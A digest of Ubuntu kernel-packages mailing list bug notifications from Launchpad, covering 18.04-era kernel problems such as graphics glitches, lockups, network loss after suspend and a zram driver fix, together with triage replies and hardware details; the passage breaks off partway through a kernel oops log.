https://bugs.launchpad.net/bugs/1787489

Title:
  Vega graphics (2400g) in 4.15 kernel

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  There is a problem with vega graphics in the 4.15 kernel used with
  ubuntu 18.04

  On my system sometimes the graphics work without problems. Other times
  i get textual information from booting. Or i get a black screen. Or
  the booting progress dots just keep on going. Or i boot to the desktop
  and half of the screen has an area that is not rendered correctly.

  I tried the mainline kernel of 4.16 4.17 and 4.18 and these kernels
  don't have this bug. (However they give problems with my wifi).

  Can the fixes in the newer kernels be backported to ubuntu 18.04 ?

  Also read:
  * https://bugzilla.kernel.org/show_bug.cgi?id=196683
  * 
https://www.reddit.com/r/Amd/comments/7nqwoe/apparently_amds_request_to_be_excluded_from_the/

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787489/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787529] Re: login causes watchdog cpu lockup

2018-08-21 Thread Joseph Salisbury
Would it be possible for you to test the latest upstream kernel? Refer
to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest
v4.18 kernel[0].

If this bug is fixed in the mainline kernel, please add the following
tag 'kernel-fixed-upstream'.

If the mainline kernel does not fix this bug, please add the tag:
'kernel-bug-exists-upstream'.

Once testing of the upstream kernel is complete, please mark this bug as
"Confirmed".


Thanks in advance.

[0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18.3

** Package changed: linux-signed (Ubuntu) => linux (Ubuntu)

** Changed in: linux (Ubuntu)
   Status: New => Incomplete

** Changed in: linux (Ubuntu)
   Importance: Undecided => Medium

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787529

Title:
  login causes watchdog cpu lockup

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  Immediately after login watchdog soft-lock cpu (x) occurs. Attempted
  different desktop environment, reinstalling and reconfiguring lightdm,
  logging in from shell and updating. Nothing that I've tried has able
  to get me logged into a desktop environment since I get a CPU lockup
  before then. Attempting to shutdown from shell also results in
  unexpected behavior. 'sudo shutdown -a now' results in a black screen
  and unresponsive keyboard, I'm forced to hardboot.

  Distributor ID: Ubuntu
  Description: Ubuntu 18.04.1 LTS
  Release: 18.04
  Codename: bionic

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  Date: Fri Aug 17 01:35:44 2018
  InstallationDate: Installed on 2018-08-17 (0 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  ProcEnviron:
   TERM=linux
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: linux-signed
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787529/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787473] Re: PDFs Don't Print from Document Viewer

2018-08-21 Thread Joseph Salisbury
Would it be possible for you to test the latest upstream kernel? Refer
to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest
v4.18 kernel[0].

If this bug is fixed in the mainline kernel, please add the following
tag 'kernel-fixed-upstream'.

If the mainline kernel does not fix this bug, please add the tag:
'kernel-bug-exists-upstream'.

Once testing of the upstream kernel is complete, please mark this bug as
"Confirmed".


Thanks in advance.

[0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18.3


** Changed in: linux (Ubuntu)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu)
   Status: Confirmed => Incomplete

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787473

Title:
  PDFs Don't Print from Document Viewer

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  After upgrading from Ubuntu 16.04 to 18.04 (via CLI) I'm unable to
  print PDF documents from the Document Viewer application.  When I try
  to print a PDF from Document Viewer, the PDF stays in the printer
  queue with status = "Processing".

  Steps to reproduce:
  - Open PDF using Document Viewer
  - press ctrl-P
  - print dialog opens
  - choose desired printer, pages-to-print, etc.
  - click Print

  Expected:
  - document prints

  Actual:
  - document sits in printer queue with status = "processing"

  Workaround 1) Open the PDF file using a web browser, and print successfully 
from the browser.
  Workaround 2) From Document Viewer, choose "Preview", and from the 
print-preview click the printer icon to print the preview.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  michelle   3174 F pulseaudio
   /dev/snd/controlC0:  michelle   3174 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  DistroRelease: Ubuntu 18.04
  EcryptfsInUse: Yes
  HibernationDevice: RESUME=UUID=2f8fccbc-e235-4e8b-9ea2-c30c8b90e7b1
  InstallationDate: Installed on 2016-10-18 (666 days ago)
  InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  MachineType: ASUSTeK COMPUTER INC. G551JM
  Package: linux (not installed)
  ProcEnviron:
   LANG=en_US.UTF-8
   SHELL=/bin/bash
   TERM=xterm-256color
   XDG_RUNTIME_DIR=
   PATH=(custom, no user)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-32-generic 
root=/dev/mapper/ubuntu--vg-root ro quiet splash pcie_aspm=force 
acpi_os=Windows acpi_backlight=native vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  Tags:  bionic
  Uname: Linux 4.15.0-32-generic x86_64
  UpgradeStatus: Upgraded to bionic on 2018-08-15 (1 days ago)
  UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 10/13/2014
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: G551JM.204
  dmi.board.asset.tag: ATN12345678901234567
  dmi.board.name: G551JM
  dmi.board.vendor: ASUSTeK COMPUTER INC.
  dmi.board.version: 1.0
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: ASUSTeK COMPUTER INC.
  dmi.chassis.version: 1.0
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrG551JM.204:bd10/13/2014:svnASUSTeKCOMPUTERINC.:pnG551JM:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnG551JM:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:
  dmi.product.family: G
  dmi.product.name: G551JM
  dmi.product.version: 1.0
  dmi.sys.vendor: ASUSTeK COMPUTER INC.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787473/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787559] Re: System Freeze 5-10 minutes after login

2018-08-21 Thread Joseph Salisbury
** Changed in: linux (Ubuntu)
   Status: Incomplete => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787559

Title:
  System Freeze 5-10 minutes after login

Status in linux package in Ubuntu:
  Invalid

Bug description:
  I've had three hard system freezes since upgrading packages yesterday
  all withing about 5-10 minutes of login. I reverted from yesterdays
  kernel release to an earlier one and so far things seem stable.

  Problem Kernel:
  ii  linux-image-4.15.0-32-generic - 4.15.0-32.35 amd64 Signed kernel image 
generic

  Reverted too:
  ii  linux-image-4.15.0-30-generic - 4.15.0-30.32 amd64 Signed kernel image 
generic

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  Date: Fri Aug 17 10:41:36 2018
  HibernationDevice: RESUME=UUID=e771bfb9-3f54-49ae-b543-31ca2a320d81
  InstallationDate: Installed on 2018-05-21 (87 days ago)
  InstallationMedia: Ubuntu-Server 18.04 LTS "Bionic Beaver" - Release amd64 
(20180426)
  MachineType: Gigabyte Technology Co., Ltd. EP45-DS3L
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=en_GB.UTF-8
   SHELL=/bin/zsh
  ProcFB: 0 VESA VGA
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=c40418ab-5b44-4317-ad2f-2ad3d6d4119a ro
  PulseList:
   Error: command ['pacmd', 'list'] failed with exit code 1: Home directory not 
accessible: Permission denied
   No PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  RfKill:

  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 11/18/2009
  dmi.bios.vendor: Award Software International, Inc.
  dmi.bios.version: F11c
  dmi.board.name: EP45-DS3L
  dmi.board.vendor: Gigabyte Technology Co., Ltd.
  dmi.board.version: x.x
  dmi.chassis.type: 3
  dmi.chassis.vendor: Gigabyte Technology Co., Ltd.
  dmi.modalias: 
dmi:bvnAwardSoftwareInternational,Inc.:bvrF11c:bd11/18/2009:svnGigabyteTechnologyCo.,Ltd.:pnEP45-DS3L:pvr:rvnGigabyteTechnologyCo.,Ltd.:rnEP45-DS3L:rvrx.x:cvnGigabyteTechnologyCo.,Ltd.:ct3:cvr:
  dmi.product.name: EP45-DS3L
  dmi.sys.vendor: Gigabyte Technology Co., Ltd.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787559/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1779817] Re: r8169 no internet after suspending

2018-08-21 Thread Steve Dodd
Attached is a work-around for the in-kernel driver that is as unhacky as
I can make it.

Drop it in /etc/initramfs-tools/scripts/init-top and chmod a+x it. Add
'r8169_disable_msi' to your kernel command line (/etc/default/grub,
usually.) Remember to update-initramfs and update-grub as necessary.

For the moment it disables MSI on everything with the ID 0x10ec:0x8168,
as there seems to be no way to get the MAC version from userspace - and
certainly not before the driver is loaded. Other PCI IDs may need
adding..

Still hoping we can cherry pick the in-driver workaround for bionic...?

** Attachment added: "initramfs script to implement 'r8169_disable_msi' kernel 
command line option"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1779817/+attachment/5178885/+files/r8619_disable_msi

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779817

Title:
  r8169 no internet after suspending

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  When my computer wakes up from suspending, there's no internet. Unplugging 
and replugging cable doesn't work, restarting network service doesn't work 
also. Only after restarting the computer, internet comes back.
  It only started happening after I freshly installed Ubuntu Budgie (18.04) and 
did all the system updates. Before I was using Ubuntu with Unity (16.04) and 
there was no problems with my internet.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-24-generic 4.15.0-24.26
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  Uname: Linux 4.15.0-24-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC2:  minihydra   2085 F pulseaudio
   /dev/snd/controlC0:  minihydra   2085 F pulseaudio
   /dev/snd/controlC1:  minihydra   2085 F pulseaudio
  CurrentDesktop: Budgie:GNOME
  Date: Tue Jul  3 10:13:19 2018
  HibernationDevice: RESUME=UUID=3747bab8-c258-4600-bc24-5d1f56a642dd
  InstallationDate: Installed on 2018-07-02 (1 days ago)
  InstallationMedia: Ubuntu-Budgie 18.04 LTS "Bionic Beaver" - Release amd64 
(20180426)
  IwConfig:
   enp2s0no wireless extensions.
   
   lono wireless extensions.
  MachineType: System manufacturer System Product Name
  ProcFB: 0 nouveaufb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=a5ceb36e-76f7-4bd4-a37b-0b91b995c635 ro quiet splash vt.handoff=1
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  RfKill:
   
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 06/28/2010
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 2103
  dmi.board.asset.tag: To Be Filled By O.E.M.
  dmi.board.name: M4A77T
  dmi.board.vendor: ASUSTeK Computer INC.
  dmi.board.version: Rev X.0x
  dmi.chassis.asset.tag: Asset-1234567890
  dmi.chassis.type: 3
  dmi.chassis.vendor: Chassis Manufacture
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr2103:bd06/28/2010:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnM4A77T:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion:
  dmi.product.family: To Be Filled By O.E.M.
  dmi.product.name: System Product Name
  dmi.product.version: System Version
  dmi.sys.vendor: System manufacturer

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1779817/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787887] Re: CC_STACKPROTECTOR_STRONG is needed for Trusty 4.4

2018-08-21 Thread Joseph Salisbury
** Changed in: linux (Ubuntu)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu)
   Status: Incomplete => Triaged

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787887

Title:
  CC_STACKPROTECTOR_STRONG is needed for Trusty 4.4

Status in linux package in Ubuntu:
  Triaged

Bug description:
  443.  ==
  444.  FAIL: test_185_config_stack_protector_strong 
(__main__.KernelSecurityConfigTest)
  445.  CONFIG_CC_STACKPROTECTOR_STRONG set
  446.  --
  447.  Traceback (most recent call last):
  448.  File "./test-kernel-security.py", line 2350, in 
test_185_config_stack_protector_strong
  449.  self.assertKernelConfig(config_option, expected)
  450.  File "./test-kernel-security.py", line 207, in assertKernelConfig
  451.  self.assertKernelConfigSet(name)
  452.  File "./test-kernel-security.py", line 194, in assertKernelConfigSet
  453.  '%s option was expected to be set in the kernel config' % name)
  454.  AssertionError: CC_STACKPROTECTOR_STRONG option was expected to be set 
in the kernel config
  455.  
  456.  --
  457.  Ran 99 tests in 65.463s

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787887/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787469] Re: [Bionic] integrate upstream fix for Cavium zram driver

2018-08-21 Thread Joseph Salisbury
** Also affects: linux (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu Bionic)
   Status: New => Triaged

** Changed in: linux (Ubuntu)
   Status: Incomplete => Triaged

** Changed in: linux (Ubuntu Bionic)
   Importance: Undecided => High

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787469

Title:
  [Bionic] integrate upstream fix for Cavium zram driver

Status in linux package in Ubuntu:
  Triaged
Status in linux source package in Bionic:
  Triaged

Bug description:
  [Impact]
  Revert Sauce patches and integrate upstream fix for thunderx_zip hang.

  [Test]
  ubuntu@anuchin:~$ uname -a
  Linux anuchin 4.15.0-33-generic #36~lp1787469+build.1 SMP Thu Aug 16 19:43:58 
UTC 2018 aarch64 aarch64 aarch64 GNU/Linux
  ubuntu@anuchin:~$ sudo bash
  root@anuchin:~# modprobe zram
  root@anuchin:~# echo 1 > /sys/block/zram0/reset
  root@anuchin:~# echo deflate > /sys/block/zram0/comp_algorithm
  root@anuchin:~# echo 128M > /sys/block/zram0/disksize
  root@anuchin:~# mkfs.ext4 -F /dev/zram0
  mke2fs 1.44.1 (24-Mar-2018)
  Discarding device blocks: done
  Creating filesystem with 32768 4k blocks and 32768 inodes

  Allocating group tables: done
  Writing inode tables: done
  Creating journal (4096 blocks): done
  Writing superblocks and filesystem accounting information: done
  root@anuchin:~#

  [Fix]
  e7a9b05ca4c7 crypto: cavium - Fix smp_processor_id() warnings
  1cc7e01ff977 crypto: cavium - Fix statistics pending request value
  a40c88045506 crypto: cavium - Prevent division by zero
  c782a8c43e94 crypto: cavium - Limit result reading attempts
  37ff02acaa3d crypto: cavium - Fix fallout from CONFIG_VMAP_STACK

  [Regression Potential]
  These patches are limited to Cavium zip_crypto zram driver, and does not 
touch any other platform code. Also, these changes are limited to the ThunderX 
systems. Regression potential low.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787469/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787743] Re: Slow USB mouse input on linux-lowlatency

2018-08-21 Thread Joseph Salisbury
Would it be possible for you to test the latest upstream kernel? Refer
to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest
v4.18 kernel[0].

If this bug is fixed in the mainline kernel, please add the following
tag 'kernel-fixed-upstream'.

If the mainline kernel does not fix this bug, please add the tag:
'kernel-bug-exists-upstream'.

Once testing of the upstream kernel is complete, please mark this bug as
"Confirmed".


Thanks in advance.

[0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18.3

** Changed in: linux (Ubuntu)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu)
   Status: Confirmed => Incomplete

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787743

Title:
  Slow USB mouse input on linux-lowlatency

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  USB mouse input is very slow and "laggy" onscreen after switching over
  from the generic 'linux' kernel to 'linux-lowlatency.'

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-lowlatency 4.15.0.32.34
  ProcVersionSignature: Ubuntu 4.15.0-32.35-lowlatency 4.15.18
  Uname: Linux 4.15.0-32-lowlatency x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC2:  jeb1710 F pulseaudio
   /dev/snd/controlC1:  jeb1710 F pulseaudio
   /dev/snd/controlC0:  jeb1710 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Sat Aug 18 12:41:52 2018
  InstallationDate: Installed on 2018-08-17 (1 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  MachineType: BIOSTAR Group A880G+
  ProcEnviron:
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 nouveaufb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-lowlatency 
root=UUID=a967adb1-1600-455b-8704-e2bf5de5081d ro quiet splash vt.handoff=1
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-lowlatency N/A
   linux-backports-modules-4.15.0-32-lowlatency  N/A
   linux-firmware1.173.1
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/21/2011
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 080016
  dmi.board.asset.tag: To Be Filled By O.E.M.
  dmi.board.name: A880G+
  dmi.board.vendor: BIOSTAR Group
  dmi.chassis.asset.tag: None
  dmi.chassis.type: 3
  dmi.chassis.vendor: BIOSTAR Group
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr080016:bd09/21/2011:svnBIOSTARGroup:pnA880G+:pvr:rvnBIOSTARGroup:rnA880G+:rvr:cvnBIOSTARGroup:ct3:cvr:
  dmi.product.family: To Be Filled By O.E.M.
  dmi.product.name: A880G+
  dmi.sys.vendor: BIOSTAR Group

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787743/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787598] Re: Errors During Startup

2018-08-21 Thread Joseph Salisbury
** Changed in: linux (Ubuntu)
   Importance: Undecided => Low

** Changed in: linux (Ubuntu)
   Status: Confirmed => Incomplete

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787598

Title:
  Errors During Startup

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  Could not find/ resolve named package element- dspkginit-381

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-29-generic 4.15.0-29.31
  ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18
  Uname: Linux 4.15.0-29-generic x86_64
  NonfreeKernelModules: kpatch_livepatch_Ubuntu_4_15_0_29_31_generic_42
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  user   1942 F pulseaudio
   /dev/snd/controlC0:  user   1942 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Fri Aug 17 18:51:33 2018
  InstallationDate: Installed on 2018-07-30 (17 days ago)
  InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180725)
  Lsusb:
   Bus 001 Device 003: ID 0bda:5776 Realtek Semiconductor Corp. 
   Bus 001 Device 002: ID 8087:8000 Intel Corp. 
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
   Bus 003 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: Hewlett-Packard HP 15 Notebook PC
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-29-generic 
root=UUID=d098e794-9e32-435b-9443-206c01202ee6 ro quiet splash
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-29-generic N/A
   linux-backports-modules-4.15.0-29-generic  N/A
   linux-firmware 1.173.1
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/21/2014
  dmi.bios.vendor: Insyde
  dmi.bios.version: F.18
  dmi.board.asset.tag: Type2 - Board Asset Tag
  dmi.board.name: 2212
  dmi.board.vendor: Hewlett-Packard
  dmi.board.version: 86.28
  dmi.chassis.asset.tag: Chassis Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: Hewlett-Packard
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnInsyde:bvrF.18:bd05/21/2014:svnHewlett-Packard:pnHP15NotebookPC:pvr0991100600087:rvnHewlett-Packard:rn2212:rvr86.28:cvnHewlett-Packard:ct10:cvrChassisVersion:
  dmi.product.family: 103C_5335KV G=N L=CON B=HP S=PAV
  dmi.product.name: HP 15 Notebook PC
  dmi.product.version: 0991100600087
  dmi.sys.vendor: Hewlett-Packard

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787598/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787722] Re: Mainline kernel dependency fails on Trusty LTS

2018-08-21 Thread Joseph Salisbury
** Changed in: linux (Ubuntu)
   Status: Confirmed => Incomplete

** Changed in: linux (Ubuntu)
   Importance: Undecided => Low

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787722

Title:
  Mainline kernel dependency fails on Trusty LTS

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  Trying to test mainline kernel 4.17.16 (eg) on 14.04 LTS, but:

   linux-image-4.17.16-041716-generic depends on linux-base (>=
  4.5ubuntu1~16.04.1)

  14.04 is still in support for some months and the matching linux-
  base-4.5ubuntu1~14.04.1 was provided in resolution of bug 1766728.

  The dependency specification used to create linux-image-*.deb at
  http://kernel.ubuntu.com/~kernel-ppa/mainline/ should be modified to
  ensure that the newest kernels can be tested against all supported LTS
  versions.

  Platform details:
  $ uname -a
  Linux Spirion 4.4.0-133-generic #159~14.04.1-Ubuntu SMP Fri Aug 10 08:17:42 
UTC 2018 i686 athlon i686 GNU/Linux

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787722/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787695] Re: : unable to handle kernel paging request at ffff9f2ed2aa5844

2018-08-21 Thread Joseph Salisbury
Would it be possible for you to test the latest upstream kernel? Refer
to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest
v4.18 kernel[0].

If this bug is fixed in the mainline kernel, please add the following
tag 'kernel-fixed-upstream'.

If the mainline kernel does not fix this bug, please add the tag:
'kernel-bug-exists-upstream'.

Once testing of the upstream kernel is complete, please mark this bug as
"Confirmed".


Thanks in advance.

[0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18.3

** Changed in: linux (Ubuntu)
   Importance: Undecided => High

** Changed in: linux (Ubuntu)
   Status: Confirmed => Incomplete

** Tags added: kernel-da-key

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787695

Title:
  : unable to handle kernel paging request at 9f2ed2aa5844

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  Since going from 4.13 to 4.15, I'm getting crashes where the system
  completely locks up and display freezes. Below is what syslog had
  after my most recent.

  I'm on Ubuntu 4.15.0-32.35~16.04.1-generic 4.15.18, the system is a
  Ryzen 1600 on AsRock AB350M with latest UEFI, RX 480 using open
  drivers.

  (I would have used ubuntu-bug, but it says "not an official package"
  even with ubuntu-bug linux. Also, lspci -vnvn says Input/output error
  so I could not include that.)

  Aug 18 08:39:19 freyja kernel: [20514.280608] BUG: unable to handle kernel 
paging request at 9f2ed2aa5844
  Aug 18 08:39:19 freyja kernel: [20514.280621] IP: SyS_read+0x16/0xc0
  Aug 18 08:39:19 freyja kernel: [20514.280623] PGD 81e875067 P4D 81e875067 PUD 
0 
  Aug 18 08:39:19 freyja kernel: [20514.280630] Oops: 0002 [#1] SMP NOPTI
  Aug 18 08:39:19 freyja kernel: [20514.280633] Modules linked in: xt_CHECKSUM 
iptable_mangle nls_iso8859_1 ipt_REJECT nf_reject_ipv4 xfrm_user xfrm_algo 
xt_addrtype ebtable_filter xt_conntrack ebtables br_netfilter bridge stp llc 
aufs ip6table_filter ip6_tables xt_TCPMSS acpi_call(OE) ipt_MASQUERADE 
nf_nat_masquerade_ipv4 iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 
nf_nat nf_conntrack xt_tcpudp pci_stub vboxpci(OE) vboxnetadp(OE) 
vboxnetflt(OE) vboxdrv(OE) iptable_filter ip_tables x_tables sch_fq_codel 
binfmt_misc nct6775 btrfs zstd_compress lm78 hwmon_vid snd_hda_codec_realtek 
snd_hda_codec_generic snd_hda_codec_hdmi snd_seq_midi snd_seq_midi_event 
snd_hda_intel snd_rawmidi snd_hda_codec edac_mce_amd snd_hda_core snd_hwdep 
crct10dif_pclmul crc32_pclmul joydev ghash_clmulni_intel snd_pcm ccp snd_seq 
pcbc snd_seq_device
  Aug 18 08:39:19 freyja kernel: [20514.280692]  snd_timer snd aesni_intel 
soundcore aes_x86_64 input_leds crypto_simd glue_helper cryptd serio_raw 
